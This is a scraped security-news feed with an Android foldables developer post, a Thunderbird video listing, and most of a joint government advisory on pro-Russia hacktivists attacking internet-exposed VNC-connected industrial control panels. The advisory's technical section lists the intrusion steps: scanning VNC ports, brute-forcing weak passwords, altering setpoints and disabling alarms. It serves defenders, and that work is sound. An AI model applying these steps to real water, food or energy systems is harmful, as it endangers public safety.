<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[
<img src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiV-c747avSj9Z8JO4DTK4kSfO3SjSpd5aTuVvR_TBeD3bXV6cc8lzNLGrWCngNXdyZBeiNjQqwQZCcU4QCrovwL99gu0t5bQrlTXa0PIBGIivwyS8y226MgeraphZr4VITWYe0x7ckFto0dsD8rBLM1J_P3dV0CBj5Ctlwm8jsgAPZA7W2XnKnRz59H9I/s2049/MM_Adaptive_and_device_Meta%20(1).png"><div>



<div><div class="separator"><i>Posted by Fahd Imtiaz, Senior Product Manager and Miguel Montemayor, Developer Relations Engineer, Android Developer Experience</i></div></div><div><i><br></i></div><div><div class="separator"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgGrEplk_My1fOfyw851kt92Jc2wyODN6bwWJaL5EGFV6_5grP3-pS7jrMzI4MOXgo1W1yVHcwj8J7AIO3olxlHDoNWxzTTlQLc9_D6CWB6bUtWLyvxmXN-JQQ92_HWYErsdMVuNkynTjXpZSKoaUTFiY_4aiffEDsfdCrl9om05MRVqqMac0YGExE4XLQ/s4210/MM_Adaptive_and_device_Blog.png"><img border="0" data-original-height="1254" data-original-width="4210" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgGrEplk_My1fOfyw851kt92Jc2wyODN6bwWJaL5EGFV6_5grP3-pS7jrMzI4MOXgo1W1yVHcwj8J7AIO3olxlHDoNWxzTTlQLc9_D6CWB6bUtWLyvxmXN-JQQ92_HWYErsdMVuNkynTjXpZSKoaUTFiY_4aiffEDsfdCrl9om05MRVqqMac0YGExE4XLQ/s1600/MM_Adaptive_and_device_Blog.png"></a></div><br><i><br></i><p>Today at Galaxy Unpacked, Samsung <a href="https://blog.google/products-and-platforms/platforms/android/galaxy-unpacked-2026" target="_blank">unveiled</a> its latest lineup of foldable and wearable devices. For developers, this means that the variety of form factors, screen sizes, and device postures your app needs to support is expanding once again.</p>

<p>With devices like the Galaxy Z Fold8, the ecosystem is expanding to include hardware with a landscape-first natural orientation and a wider aspect ratio in its main display state. Whether a user is unfolding a large display, flipping open a cover screen, or glancing at their wrist, users expect a flawless experience. To help you meet this moment, we’re sharing actionable guidance and new tooling updates to enable you to build adaptively proactively.</p>

<div class="separator">
  </div>

<h2>Rethink layout architecture for dynamic displays, including ultra-wide foldables</h2>

<p>Building for the latest foldables means dropping assumptions about display orientation and size. This is especially true for the Galaxy Z Fold8, which adopts an ultra-wide display, adding to the variety of aspect ratios to account for.  Devices with this landscape-first natural orientation show the limitations of hardcoded layout rules when users unfold the device. That’s why we’ve introduced <a href="https://developer.android.com/develop/adaptive-apps/guides/foldables/trifolds-and-landscape-foldables" target="_blank">dedicated guidance for building for landscape foldables and trifolds.</a></p><div class="separator"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjrdDMq9mmhR2NzEVD5cgQgT3Y5DgMZOV5FrjsJb-wSiZVvJjIiDQuUkfv0cjBHQMREjOKPqz9n6wPf-x5Hn6H7uT2_JiXA3Nykcr1UwnwDRK9jGFurhTRKR-5t1BN62ISXFznXhQ_e-03Mo6uIh5-BDVmNbA1Q4RY9rSg4VxBO0K6E6Dc4kViNpvuYefY/s1302/Samsung%20fold8%20phones.png"><img border="0" data-original-height="442" data-original-width="1302" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjrdDMq9mmhR2NzEVD5cgQgT3Y5DgMZOV5FrjsJb-wSiZVvJjIiDQuUkfv0cjBHQMREjOKPqz9n6wPf-x5Hn6H7uT2_JiXA3Nykcr1UwnwDRK9jGFurhTRKR-5t1BN62ISXFznXhQ_e-03Mo6uIh5-BDVmNbA1Q4RY9rSg4VxBO0K6E6Dc4kViNpvuYefY/s1600/Samsung%20fold8%20phones.png"></a></div><br><p>To build a responsive UI that handles these physics seamlessly, focus on the following core pillars:</p>

<p></p><ul><li><b>Build fluid, adaptive layouts: </b>Wide aspect ratios and compact vertical heights require fluid UIs that scale responsively. Our updated <a href="https://developer.android.com/design/ui/mobile/guides/layout-and-content/adapt-layout" target="_blank">adaptive design guidance</a> advises considering the window class width first to determine layout changes, then adjusting for height. To let individual components fluidly adapt to the grid, structure your layout using flexible containers that allow your content to automatically wrap, span, and reflow. For design inspiration browse our <a href="https://developer.android.com/design/ui/gallery/social/pawparazzi" target="_blank">adaptive sample app</a> and <a href="https://developer.android.com/design/ui/gallery/social/dual-screen?hl=en" target="_blank">dual-screen</a> design galleries.</li><li><b>Track actual app space:</b> Your app's display space rarely matches the physical device size, especially on an ultra-wide screen during multi-window, split-screen, or multitasking states. Sometimes even the orientations differ. Leverage <a href="https://developer.android.com/develop/adaptive-apps/guides/use-window-size-classes?hl=en" target="_blank">Window Size Classes</a> using the <a href="https://developer.android.com/blog/posts/jetpack-window-manager-1-5-is-stable" target="_blank">Jetpack Window Manager library</a> to calculate the exact space your app occupies.</li></ul><div><br></div>
  
<div class="separator">
  </div></div><div class="separator"><br></div><div class="separator"><div class="separator"><ul><li><b>Leverage the latest Jetpack Compose Update: </b>Start by adopting the stable <a href="https://android-developers.googleblog.com/2026/04/jetpack-compose-april-2026-updates.html" target="_blank">Jetpack Compose April '26 release</a> (<a href="https://developer.android.com/develop/ui/compose/bom" target="_blank">Compose BOM</a> version <code>2026.04.01</code>).Take advantage of the new structural layout tools to manage complex architectures. The new <a href="https://developer.android.com/develop/ui/compose/layouts/adaptive/grid" target="_blank">Grid</a> API allows you to define dynamic tracks and column spans without the performance overhead of a lazy list. Pair Grid with the new <a href="https://developer.android.com/develop/ui/compose/layouts/adaptive/flexbox" target="_blank">FlexBox</a> layout API to easily handle multi-axis alignment and dynamic item wrapping. You can also use the new <a href="https://developer.android.com/develop/ui/compose/layouts/adaptive/mediaquery" target="_blank">MediaQuery</a> API to adapt your UI to its environment, using conditions to detect signals like device posture, window size, and keyboard types. </li><li><b>Make your app fold aware: </b>Use the Jetpack WindowManager library, which provides an API surface for foldable device window features such as folds and hinges. When your app is<a href="https://developer.android.com/develop/adaptive-apps/guides/foldables/make-your-app-fold-aware" target="_blank"> fold aware</a>, it can adapt its layout to avoid placing important content in the area of folds or hinges and use folds and hinges as natural separators.</li><li><b>Maintain app continuity:</b> Avoid breaking the user journey when the device configuration shifts. Retain your UI state using <a href="https://developer.android.com/topic/libraries/architecture/viewmodel?hl=en" target="_blank">ViewModel</a> to ensure smooth transitions when a user folds or unfolds their device.</li></ul><div class="separator"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjdxp09YbiUc9EzTGhIJ2fcoV67rLKb6Sm9UOVCISO4Xa0VVVnFUJG9PXSAYCq7gnHILLx8xoIx-L2C0blhugbADUa3nM0AOx8UQzGImu194B94Kt-CKAuK1CrGHUz10fBFs02Lmly-HO-fmBHFuZ9knuYRb6EP9v4-SpR7Ja-oeJZErJDUVEgEje0d7J8/s1920/7.22_MorphToTablet_Gif.gif"><img border="0" data-original-height="1080" data-original-width="1920" height="360" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjdxp09YbiUc9EzTGhIJ2fcoV67rLKb6Sm9UOVCISO4Xa0VVVnFUJG9PXSAYCq7gnHILLx8xoIx-L2C0blhugbADUa3nM0AOx8UQzGImu194B94Kt-CKAuK1CrGHUz10fBFs02Lmly-HO-fmBHFuZ9knuYRb6EP9v4-SpR7Ja-oeJZErJDUVEgEje0d7J8/w640-h360/7.22_MorphToTablet_Gif.gif" width="640"></a></div><div><h2>Ensure seamless camera capture on foldable devices</h2><div>Camera implementation on foldables brings unique hardware quirks. Moving from a compact outer display to an expanded inner display introduces distinct layout aspect ratios while device rotation remains unchanged. If an app assumes a fixed portrait relationship between the camera sensor and the device layout, the app will likely suffer from sideways, stretched, or cropped previews during these folding transitions.</div><div> </div><div>When optimizing your app's media pipeline, migrate your capture experiences to <a href="https://developer.android.com/media/camera/camerax" target="_blank">CameraX</a> using the CameraX migration <a href="https://github.com/android/skills/blob/main/camera/camerax/SKILL.md">skill</a>. The library’s <a href="https://developer.android.com/reference/kotlin/androidx/camera/view/PreviewView" target="_blank">PreviewView</a> automatically handles sensor orientation, device rotation, and scaling behind the scenes. This guarantees a clean, stable preview regardless of how the user holds or positions the device. If you are maintaining an existing Camera2 codebase, integrate the <a href="https://developer.android.com/develop/adaptive-apps/guides/foldables/trifolds-and-landscape-foldables#solution_2_cameraviewfinder" target="_blank">CameraViewfinder</a> library to apply these complex aspect ratio and rotation transformations automatically without needing a total architecture overhaul.</div></div><h2>Extend glanceable interactions to Wear OS 7</h2><div>The opportunity to build for this new generation of devices extends right to the wrist. Launching with Wear OS 7, Wear Widgets give you a fresh surface to provide users with instant, glanceable access to their essential updates. You can build these highly expressive experiences using <a href="https://developer.android.com/jetpack/androidx/releases/glance-wear" target="_blank">Jetpack Glance</a> and <a href="https://developer.android.com/jetpack/androidx/releases/compose-remote" target="_blank">RemoteCompose</a>. Crucially, Widgets built with this framework can now populate multi-widget tiles that were previously reserved for first-party widgets. </div><div><br></div>
    
 <div class="separator">
  </div><div class="separator"><h2>Build intelligent features </h2><div class="separator"><a href="https://blog.google/products-and-platforms/platforms/android/gemini-intelligence/" target="_blank">Gemini intelligence </a>already completes tasks on users’ behalf, and you can <a href="https://developer.android.com/ai/appfunctions?_gl=1*1jms098*_up*MQ..*_ga*MjY0OTY0MDI3LjE3ODQzMzI1NDk.*_ga_6HH9YJMN9M*czE3ODQzMzI1NDkkbzEkZzAkdDE3ODQzMzI1NDkkajYwJGwwJGgxNjE0MTMzNjEz" target="_blank">experiment</a> with the intelligence system by sharing your apps capabilities. </div><div class="separator"><br></div><div class="separator">Samsung’s new foldable devices come with Gemini Nano 4, our latest on-device model. Nano 4 provides support for over 140 languages, better multimodal understanding, and <a href="https://developers.google.com/ml-kit/release-notes#july_14_2026" target="_blank">much more</a>. Use <a href="https://developers.google.com/ml-kit/genai/prompt/android" target="_blank">ML Kit’s Prompt API</a> with advanced features like s<a href="https://developers.google.com/ml-kit/genai/prompt/android/structured-output" target="_blank">tructured output</a> and <a href="https://developers.google.com/ml-kit/genai/prompt/android/thinking-mode" target="_blank">thinking mode</a> to build intelligent features on-device. </div><div class="separator"><h2>Start optimizing today</h2><div class="separator">The tools and frameworks are ready to help you optimize your app for all screen sizes. Begin by exploring our guidance for <a href="https://developer.android.com/develop/adaptive-apps" target="_blank">building adaptive apps </a>to learn more about core adaptive design principles. </div><div class="separator"><br></div><div class="separator">To dive deeper, check out our comprehensive <a href="https://www.youtube.com/playlist?list=PLD2U7gd1-ieo" target="_blank">YouTube playlist</a>. Finally, ensure your app delivers a flawless, premium experience on the newest form factors by reviewing our dedicated quality guidelines for <a href="https://developer.android.com/develop/adaptive-apps/guides/foldables/trifolds-and-landscape-foldables" target="_blank">trifolds and landscape foldables</a> and <a href="https://developer.android.com/design/ui/wear/guides/get-started?hl=en" target="_blank">WearOS</a>. </div><div class="separator"><br></div><div class="separator">Unfold the future today! </div></div></div></div></div></div>]]></content:encoded>
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<title><![CDATA[Design System Governance Committee: January 26, 2026 Meeting]]></title>
<description><![CDATA[Author: Mozilla Thunderbird - Bewertung: 10x - Views:142 In their first meeting, the Design System Governance Committee, composed of MZLA employees and community members, first reviews the 2026 design roadmap. Then they take a deeper dive into tokens, their role in tying together Thunderbird's ma...]]></description>
<link>https://tsecurity.de/de/3693438/video/design-system-governance-committee-january-26-2026-meeting/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3693438/video/design-system-governance-committee-january-26-2026-meeting/</guid>
<pubDate>Sat, 25 Jul 2026 10:05:13 +0200</pubDate>
<category>🎥 Video</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>Author: Mozilla Thunderbird - Bewertung: 10x - Views:142 <br/></p><p><iframe id="ytplayer" loading="lazy" type="text/html" width="100%" height="auto" src="https://www.youtube.com/embed/rAJrAmu-lqw?autoplay=1&origin=https://tsecurity.de" frameborder="0"></iframe></p><p>In their first meeting, the Design System Governance Committee, composed of MZLA employees and community members, first reviews the 2026 design roadmap. Then they take a deeper dive into tokens, their role in tying together Thunderbird&#039;s many platforms, W3 token standards, and how to document them. This work will make it easier for new design team members and contributors to jump into their work, while providing a more coherent experience from desktop to mobile and beyond.<br/></p>]]></content:encoded>
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<title><![CDATA[Pro-Russia Hacktivists Conduct Opportunistic Attacks Against US and Global Critical Infrastructure]]></title>
<description><![CDATA[Summary
Note: This joint Cybersecurity Advisory is being published as an addition to the Cybersecurity and Infrastructure Security Agency (CISA) May 6, 2025, joint fact sheet Primary Mitigations to Reduce Cyber Threats to Operational Technology and European Cybercrime Centre’s (EC3) Operation Eas...]]></description>
<link>https://tsecurity.de/de/3693383/sicherheitsluecken/pro-russia-hacktivists-conduct-opportunistic-attacks-against-us-and-global-critical-infrastructure/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3693383/sicherheitsluecken/pro-russia-hacktivists-conduct-opportunistic-attacks-against-us-and-global-critical-infrastructure/</guid>
<pubDate>Sat, 25 Jul 2026 09:15:46 +0200</pubDate>
<category>🕵️ Sicherheitslücken</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<h2><strong>Summary</strong></h2>
<p><strong>Note:</strong> This joint Cybersecurity Advisory is being published as an addition to the Cybersecurity and Infrastructure Security Agency (CISA) May 6, 2025, joint fact sheet <a href="https://www.cisa.gov/resources-tools/resources/primary-mitigations-reduce-cyber-threats-operational-technology" title="Primary Mitigations to Reduce Cyber Threats to Operational Technology">Primary Mitigations to Reduce Cyber Threats to Operational Technology</a> and European Cybercrime Centre’s (EC3) <a href="https://www.europol.europa.eu/media-press/newsroom/news/global-operation-targets-noname05716-pro-russian-cybercrime-network" target="_blank" title="Operation Eastwood" data-entity-type="external">Operation Eastwood</a>, in which CISA, Federal Bureau of Investigation (FBI), Department of Energy (DOE), Environmental Protection Agency (EPA), and EC3 shared information about cyber incidents affecting the operational technology (OT) and industrial control systems (ICS) of critical infrastructure entities in the United States and globally.</p>
<p>FBI, CISA, National Security Agency (NSA), and the following partners—hereafter referred to as “the authoring organizations”—are releasing this joint advisory on the targeting of critical infrastructure by pro-Russia hacktivists:</p>
<ul>
<li>U.S. Department of Energy (DOE)</li>
<li>U.S. Environmental Protection Agency (EPA)</li>
<li>U.S. Department of Defense Cyber Crime Center (DC3)</li>
<li>Europol European Cybercrime Centre (EC3)</li>
<li>EUROJUST – European Union Agency for Criminal Justice Cooperation</li>
<li>Australian Signals Directorate’s Australian Cyber Security Centre (ASD’s ACSC)</li>
<li>Canadian Centre for Cyber Security (Cyber Centre)</li>
<li>Canadian Security Intelligence Service (CSIS)</li>
<li>Czech Republic Military Intelligence (VZ)</li>
<li>Czech Republic National Cyber and Information Security Agency (NÚKIB)</li>
<li>Czech Republic National Centre Against Terrorism, Extremism, and Cyber Crime (NCTEKK)</li>
<li>French National Cybercrime Unit – Gendarmerie Nationale (UNC)</li>
<li>French National Jurisdiction for the Fight Against Organized Crime (JUNALCO)</li>
<li>German Federal Office for Information Security (BSI)</li>
<li>Italian State Police (PS)</li>
<li>Latvian State Police (VP)</li>
<li>Lithuanian Criminal Police Bureau (LKPB)</li>
<li>New Zealand National Cyber Security Centre (NCSC-NZ)</li>
<li>Romanian National Police (PR)</li>
<li>Spanish Civil Guard (GC)</li>
<li>Spanish National Police (CNP)</li>
<li>Swedish Polisen (SC3)</li>
<li>United Kingdom National Cyber Security Centre (NCSC-UK)</li>
</ul>
<p>The authoring organizations assess pro-Russia hacktivist groups are conducting less sophisticated, lower-impact attacks against critical infrastructure entities, compared to advanced persistent threat (APT) groups. These attacks use minimally secured, internet-facing virtual network computing (VNC) connections to infiltrate (or gain access to) OT control devices within critical infrastructure systems. Pro-Russia hacktivist groups—Cyber Army of Russia Reborn (CARR), Z-Pentest, NoName057(16), Sector16, and affiliated groups—are capitalizing on the widespread prevalence of accessible VNC devices to execute attacks against critical infrastructure entities, resulting in varying degrees of impact, including physical damage. Targeted sectors include <a href="https://www.cisa.gov/topics/critical-infrastructure-security-and-resilience/critical-infrastructure-sectors/water-and-wastewater-sector" title="Water and Wastewater Systems">Water and Wastewater Systems</a>, <a href="https://www.cisa.gov/topics/critical-infrastructure-security-and-resilience/critical-infrastructure-sectors/food-and-agriculture-sector" title="Food and Agriculture Sector">Food and Agriculture</a>, and <a href="https://www.cisa.gov/topics/critical-infrastructure-security-and-resilience/critical-infrastructure-sectors/energy-sector" title="Energy Sector">Energy</a>.</p>
<p>The authoring organizations encourage critical infrastructure organizations to implement the recommendations in the <a href="https://www.cisa.gov/#Mitigations" title="Mitigations"><strong>Mitigations </strong></a>section of this advisory to reduce the likelihood and impact of pro-Russia hacktivist-related incidents. For additional information on Russian state-sponsored malicious cyber activity, see CISA’s <a href="https://www.cisa.gov/topics/cyber-threats-and-advisories/advanced-persistent-threats/russia" title="Russia Threat Overview and Advisories">Russia Threat Overview and Advisories</a> webpage.</p>
<p>Download the PDF version of this report:</p>





<div class="c-file">
    <div class="c-file__download">
    <a href="https://www.cisa.gov/sites/default/files/2025-12/aa25-343a-pro-russia-hacktivists-conduct-attacks_0.pdf" class="c-file__link" target="_blank">Pro-Russia Hacktivists Conduct Opportunistic Attacks Against US and Global Critical Infrastructure</a>
    <span class="c-file__size">(PDF,       1.53 MB
  )</span>
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</div>
<h2><strong>Background and Development of Pro-Russia Hacktivist Groups</strong></h2>
<p>Over the past several years, the authoring organizations have observed pro-Russia hacktivist groups conducting cyber operations against numerous organizations and critical infrastructure sectors worldwide. The escalation of the Russia-Ukraine conflict in 2022 significantly increased the number of these pro-Russia groups. Consisting of individuals who support Russia’s agenda but lack direct governmental ties, most of these groups target Ukrainian and allied infrastructure. However, among the increasing number of groups, some appear to have associations with the Russian state through direct or indirect support.</p>
<h3><strong>Cyber Army of Russia Reborn</strong></h3>
<p>The authoring organizations assess that the Russian General Staff Main Intelligence Directorate (GRU) Main Center for Special Technologies (GTsST) military unit 74455—tracked in the cybersecurity community under several names (see<strong> </strong><a href="https://www.cisa.gov/#AppB" title="Appendix B"><strong>Appendix B: Additional Designators Used for Cited Groups</strong></a>)—is likely responsible for supporting the creation of CARR —also known as “The People’s Cyber Army of Russia”—in late February or early March of 2022. Actors suspected to be from GRU unit 74455 likely funded the tools CARR threat actors used to conduct distributed denial-of-service (DDoS) attacks through at least September 2024.</p>
<p>In April 2022, the group began using a new Telegram channel featuring the name “CyberArmyofRussia_Reborn” to organize and plan group actions. The channel creators recruited actors to use CARR as an unattributable platform for conducting cyber activities beneath the level of an APT, aimed at deterring anti-Russia rhetoric. CARR threat actors presented themselves as a group of pro-Russia hacktivists supporting Russia’s stance on the Ukrainian conflict, and they soon began claiming responsibility for DDoS attacks against the U.S. and Europe for supporting Ukraine.</p>
<p>CARR documented these actions through embellished images and videos shared on their social media channels, promoting Russian ideology, disseminating talking points, and publicizing leaked information from hacks attributed to Russian state threat actors.</p>
<p>In late 2023, CARR expanded their operations to include attacks on industrial control systems (ICS), claiming an intrusion against a European wastewater treatment facility in October 2023. In November 2023, CARR targeted human-machine interface (HMI) devices, claiming intrusions at two U.S. dairy farms.</p>
<p>The authoring organizations assess that by late September 2024, CARR channel administrators became dissatisfied with the level of support and funding provided by the GRU. This dissatisfaction led CARR administrators and an administrator from another hacktivist group, NoName057(16), to create the Z-Pentest group, employing the same tactics, techniques, and procedures (TTPs) as CARR but separate from GRU involvement.</p>
<h3><strong>NoName057(16)</strong></h3>
<p>The authoring organizations assess that the Center for the Study and Network Monitoring of the Youth Environment (CISM), established on behalf of the Kremlin, created NoName057(16) as a covert project within the organization. Senior executives and employees within CISM developed and customized the NoName057(16) proprietary DDoS tool <code>DDoSia</code>, paid for the group’s network infrastructure, served as administrators on NoName057(16) Telegram channels, and selected DDoS targets.</p>
<p>Active since March 2022, NoName057(16) has conducted frequent DDoS attacks against government and private sector entities in North Atlantic Treaty Organization (NATO) member states and other European countries perceived as hostile to Russian geopolitical interests. The group operates primarily through Telegram channels and used GitHub, alongside various websites and repositories, to host <code>DDoSia</code> and share materials and TTPs with their followers. </p>
<p>In 2024, NoName057(16) began collaborating closely with other pro-Russia hacktivist groups, operating a joint chat with CARR by mid-2024. In July 2024, NoName057(16) jointly claimed responsibility with CARR for an alleged intrusion against OT assets in the U.S. The high degree of cooperation with CARR likely contributed to the formation of Z-Pentest, which is composed of actors and administrators from both teams, in September 2024.</p>
<h3><strong>Z-Pentest</strong></h3>
<p>Established in September 2024, Z-Pentest is composed of members from CARR and NoName057(16). The group specializes in OT intrusion operations targeting globally dispersed critical infrastructure entities. Additionally, the group uses “hack and leak” operations and defacement attacks to draw attention to their pro-Russia messaging. Unlike other pro-Russia hacktivist groups, Z-Pentest largely avoids DDoS activities, claiming OT intrusions as attempts to garner more attention from the media.</p>
<p>Shortly after Z-Pentest’s inception, the group announced alliances with CARR and NoName057(16), possibly to leverage the other groups’ subscribers to grow the new channel. In March 2025, Z-Pentest posted evidence claiming OT device intrusions to their channel using a NoName057(16) cyberattack campaign hashtag. Similarly, in April 2025, Z-Pentest shared a video purporting defacement of an HMI by changing system names to NoName057(16) and CARR references. Z-Pentest continues to create new alliances with other groups, like Sector16, to continue growing their subscriber base and incidentally propagate TTPs with new partners.</p>
<h3><strong>Sector16</strong></h3>
<p>Formed in January 2025, Sector16 is a novice pro-Russia hacktivist group that emerged through collaboration with Z-Pentest. Sector16 actively maintains an online presence, including a public Telegram channel where they share videos, statements, and claims of compromising U.S. energy infrastructure. These communications often align with pro-Russia narratives and reflect their self-proclaimed support for Russian geopolitical objectives.</p>
<p>Members of Sector16 may have received indirect support from the Russian government in exchange for conducting specific cyber operations that further Russian strategic goals. This aligns with broader Russian cyber strategies that involve leveraging non-state threat actors for certain cyber activities, adding a layer of deniability.</p>
<h2><strong>Technical Details</strong></h2>
<p><strong>Note:</strong> This advisory uses the MITRE ATT&amp;CK<sup>®</sup> <a href="https://attack.mitre.org/versions/v18/matrices/enterprise/" title="Matrix for Enterprise framework" data-entity-type="external">Matrix for Enterprise framework</a>, version 18. See the <a href="https://www.cisa.gov/#MITRE" title="MITRE ATT&amp;CK Tactics and Techniques"><strong>MITRE ATT&amp;CK Tactics and Techniques</strong></a> section of this advisory for a table of the threat actors’ activity mapped to MITRE ATT&amp;CK tactics and techniques.</p>
<h3><strong>TTP Overview</strong></h3>
<p>Pro-Russia hacktivist groups employ easily disseminated and replicated TTPs across various entities, increasing the likelihood of widespread adoption and escalating the frequency of intrusions. These groups have limited capabilities, frequently misunderstanding the processes they aim to disrupt. Their apparent low level of technical knowledge results in haphazard attacks where actors intend to cause physical damage but cannot accurately anticipate actual impact. Despite these limitations, the authoring organizations have observed these groups willfully cause actual harm to vulnerable critical infrastructure.</p>
<p>Pro-Russia hacktivist groups use the TTPs in this Cybersecurity Advisory to target virtual network computing (VNC)-connected HMI devices. These groups are primarily seeking notoriety with their actions. While they have caused damage in some instances, they regularly make false or exaggerated claims about their attacks on critical infrastructure to garner more attention. They frequently misrepresent their capabilities and the impacts of their actions, portraying minor incursions as significant breaches, but such incursions can still lead to lost time and resources for operators remediating systems.</p>
<p>Additionally, pro-Russia hacktivists use an opportunistic targeting methodology. They leverage superficial criteria, such as victim availability and existing vulnerabilities, rather than focusing on strategically significant entities. Their lack of strategic focus can lead to a broad array of targets, ranging from water treatment facilities to oil well systems. Pro-Russia hacktivists have demonstrated a pattern of frequently taking advantage of the widespread availability of vulnerable VNC connections. While system owners typically use VNC connections for legitimate remote system access functions, threat actors can maliciously use these connections to broadly target numerous platforms and services. Consequently, these groups can indiscriminately compromise critical infrastructure entities, including those in the <a href="https://www.cisa.gov/topics/critical-infrastructure-security-and-resilience/critical-infrastructure-sectors/water-and-wastewater-sector" title="Water and Wastewater Sector">Water and Wastewater</a>, <a href="https://www.cisa.gov/topics/critical-infrastructure-security-and-resilience/critical-infrastructure-sectors/food-and-agriculture-sector" title="Food and Agriculture Sector" data-entity-type="external">Food and Agriculture</a>, and <a href="https://www.cisa.gov/topics/critical-infrastructure-security-and-resilience/critical-infrastructure-sectors/energy-sector" title="Energy Sector">Energy</a> Sectors.</p>
<p>Pro-Russia hacktivist groups have successfully targeted supervisory control and data acquisition (SCADA) networks using basic methods, and in some cases, performed simultaneous DDoS attacks against targeted networks to facilitate SCADA intrusions. As recently as April 2025, threat actors used the following unsophisticated TTPs to access networks and conduct SCADA intrusions:</p>
<ul>
<li>Scan for vulnerable devices on the internet [<a href="https://attack.mitre.org/versions/v18/techniques/T0883/" target="_blank" title="T0883" data-entity-type="external">T0883</a>] with open VNC ports [<a href="https://attack.mitre.org/versions/v18/techniques/T1595/002/" target="_blank" title="T1595.002" data-entity-type="external">T1595.002</a>].</li>
<li>Initiate temporary virtual private server (VPS) [<a href="https://attack.mitre.org/versions/v18/techniques/T1583/003/" target="_blank" title="T1583.003" data-entity-type="external">T1583.003</a>] to execute password brute force software.</li>
<li>Use VNC software to access hosts [<a href="https://attack.mitre.org/versions/v18/techniques/T1021/005/" target="_blank" title="T1021.005" data-entity-type="external">T1021.005</a>].</li>
<li>Confirm connection to the vulnerable device [<a href="https://attack.mitre.org/versions/v18/techniques/T0886/" target="_blank" title="T0886" data-entity-type="external">T0886</a>].</li>
<li>Brute force the password, if required [<a href="https://attack.mitre.org/versions/v18/techniques/T1110/003/" target="_blank" title="T1110.003" data-entity-type="external">T1110.003</a>].</li>
<li>Gain access to HMI devices [<a href="https://attack.mitre.org/versions/v18/techniques/T0883/" target="_blank" title="T0883" data-entity-type="external">T0883</a>], typically with default [<a href="https://attack.mitre.org/versions/v18/techniques/T0812/" target="_blank" title="T0812" data-entity-type="external">T0812</a>], weak, or no passwords [<a href="https://attack.mitre.org/versions/v18/techniques/T0859/" target="_blank" title="T0859" data-entity-type="external">T0859</a>].</li>
<li>Log the confirmed vulnerable device IP address, port, and password.</li>
<li>Using the HMI graphical interface [<a href="https://attack.mitre.org/versions/v18/techniques/T0823/" target="_blank" title="T0823" data-entity-type="external">T0823</a>], capture screen recordings or intermittent screenshots while conducting the following actions, intending to affect productivity and cause additional costs [<a href="https://attack.mitre.org/versions/v18/techniques/T0828/" target="_blank" title="T0828" data-entity-type="external">T0828</a>]:
<ul>
<li>Modify usernames/passwords [<a href="https://attack.mitre.org/versions/v18/techniques/T0892/" target="_blank" title="T0892" data-entity-type="external">T0892</a>];</li>
<li>Modify parameters [<a href="https://attack.mitre.org/versions/v18/techniques/T0836/" target="_blank" title="T0836" data-entity-type="external">T0836</a>];</li>
<li>Modify device name [<a href="https://attack.mitre.org/versions/v18/techniques/T0892/" target="_blank" title="T0892" data-entity-type="external">T0892</a>];</li>
<li>Modify instrument settings [<a href="https://attack.mitre.org/versions/v18/techniques/T0831/" target="_blank" title="T0831" data-entity-type="external">T0831</a>];</li>
<li>Disable alarms [<a href="https://attack.mitre.org/versions/v18/techniques/T0878/" target="_blank" title="T0878" data-entity-type="external">T0878</a>];</li>
<li>Create loss of view (a technique that mandates local hands-on operator intervention) [<a href="https://attack.mitre.org/versions/v18/techniques/T0829/" target="_blank" title="T0829" data-entity-type="external">T0829</a>]; and/or</li>
<li>Device restart or shutdown [<a href="https://attack.mitre.org/versions/v18/techniques/T0816/" target="_blank" title="T0816" data-entity-type="external">T0816</a>].</li>
</ul>
</li>
<li>Disconnect from the device, ending the VNC connection.</li>
<li>Research the compromised device company after the intrusion [<a href="https://attack.mitre.org/versions/v18/techniques/T1591/" target="_blank" title="T1591" data-entity-type="external">T1591</a>].</li>
</ul>
<h4><strong>Propagation</strong></h4>
<p>To reach a wider audience, pro-Russia hacktivist groups work together, amplify each other’s posts, create additional groups to amplify their own posts, and likely share TTPs. For example, Z-Pentest jointly claimed intrusion of a U.S. system with Sector16. Sector16 later began posting additional intrusions for which the group claimed sole responsibility. It is likely that these and similar groups will continue to iterate and share these methods to disrupt critical infrastructure organizations.</p>
<h4><strong>Reconnaissance and Initial Access</strong></h4>
<p>The threat actors’ intrusion methodology is relatively unsophisticated, inexpensive to execute, and easy to replicate. These pro-Russia hacktivist groups abuse popular internet-scraping tools, such as <code>Nmap</code> or <code>OPENVAS</code>, to search for visible VNC services and use brute force password spraying tools to access devices via known default or otherwise weak credentials. Threat actors typically search for these services on the default port <code>5900</code> or other nearby ports (<code>5901-5910</code>). Their goal is to gain remote access to HMI devices connected to live control networks.</p>
<p>Once threat actors obtain access, they manipulate available settings from the graphical user interface (GUI) on the HMI devices, such as arbitrary physical parameter and setpoint changes, or conduct defacement activities. Because pro-Russia hacktivist groups seem to lack sector-specific expertise or cyber-physical engineering knowledge, they currently cannot reliably estimate the true impact of their actions. Regardless of outcome, pro-Russia hacktivist groups often post images and screen recordings to their social media platforms, boasting the compromises and exaggerating impacts to garner attention from their peers and the media.</p>
<h4><strong>Impact</strong></h4>
<p>While pro-Russia hacktivist groups currently demonstrate limited ability to consistently cause significant impact, there is a risk that their continued attacks will result in further harm or grievous physical consequences. Attacks have not yet caused injury; however, the attacks against occupied factories and community facilities demonstrate a lack of consideration for human safety.</p>
<p>Victim organizations reported that the most common operational impact caused by these threat actors is a temporary loss of view, necessitating manual intervention to manage processes. However, any modifications to programmatic and systematic procedures can result in damage or disruption, including substantial labor costs from hiring a programmable logic controller programmer to restore operations, costs associated with operational downtime, and potential costs for network remediation.</p>
<h2><a class="ck-anchor"><strong>MITRE ATT&amp;CK Tactics and Techniques</strong></a></h2>
